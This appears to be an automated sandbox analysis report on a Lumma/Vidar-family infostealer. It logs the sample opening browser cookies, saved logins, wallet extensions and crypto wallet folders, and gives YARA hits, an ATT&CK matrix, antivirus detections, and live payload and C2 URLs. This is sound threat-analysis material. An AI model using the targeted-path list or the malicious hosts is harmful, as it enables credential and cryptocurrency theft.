Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: Yara match	File source: 00000027.00000003.2959916628.0000000001479000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3038897770.000000000147D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3073164628.000000000147C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3014234017.0000000001479000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3014504242.000000000147D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3014374262.000000000147C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5799e5ec40.exe PID: 504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6f79b29ee1.exe PID: 824, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 6f79b29ee1.exe PID: 824, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5799e5ec40.exe PID: 504, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0073EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0073EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0073DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0073DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	212 Process Injection	4 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	22 Software Packing	Security Account Manager	347 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	12 Registry Run Keys / Startup Folder	12 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	991 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	371 Virtualization/Sandbox Evasion	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	212 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
yiDQb6GkBq.exe	58%	ReversingLabs	Win32.Infostealer.Tinba
yiDQb6GkBq.exe	100%	Avira	TR/Crypt.TPM.Gen
yiDQb6GkBq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe	100%	Avira	HEUR/AGEN.1350985
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	100%	Avira	HEUR/AGEN.1306956
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	100%	Avira	HEUR/AGEN.1350985
C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	68%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	75%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	13%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	21%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	66%	ReversingLabs	Win32.Trojan.Lumma
C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	75%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	13%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.16/steam/random.exe(5	0%	Avira URL Cloud	safe
http://31.41.244.11/files/399764519/W4KLQf7.exef%	0%	Avira URL Cloud	safe
http://31.41.244.11/files/encoxx/random.exe=	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/6	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/-	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/H	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe	100%	Avira URL Cloud	phishing
https://peerhost59mj7i6macla65r.com/search/I044	0%	Avira URL Cloud	safe
https://grahm.xyz	100%	Avira URL Cloud	malware
https://peerhost59mj7i6macla65r.com/search/	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/M	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/O	0%	Avira URL Cloud	safe
https://drive-connect.cyou/api	100%	Avira URL Cloud	malware
https://peerhost59mj7i6macla65r.com/search/N	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/S	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe8.exel	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/Z	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe/0	100%	Avira URL Cloud	malware
https://peerhost59mj7i6macla65r.com/search/v	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe06001	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/&&	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/y	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/t	0%	Avira URL Cloud	safe
https://drive-connect.cyou/Jg	100%	Avira URL Cloud	malware
https://grahm.xyz/?E	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeI5b	0%	Avira URL Cloud	safe
http://31.41.244.11/files/399764519/W4KLQf7.exe0%	0%	Avira URL Cloud	safe
https://grahm.xyz/(	100%	Avira URL Cloud	malware
http://31.41.244.11/files/encoxx/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe#0	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe;N	0%	Avira URL Cloud	safe
http://31.41.244.11/files/hell911/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe135dH	0%	Avira URL Cloud	safe
https://drive-connect.cyou:443/api	100%	Avira URL Cloud	malware
https://grahm.xyz?E	100%	Avira URL Cloud	malware
https://grahm.xyz/	100%	Avira URL Cloud	malware
https://peerhost59mj7i6macla65r.com/search/5C417070446174615C4C6F63616C5C54656D705C31303134303831303	0%	Avira URL Cloud	safe
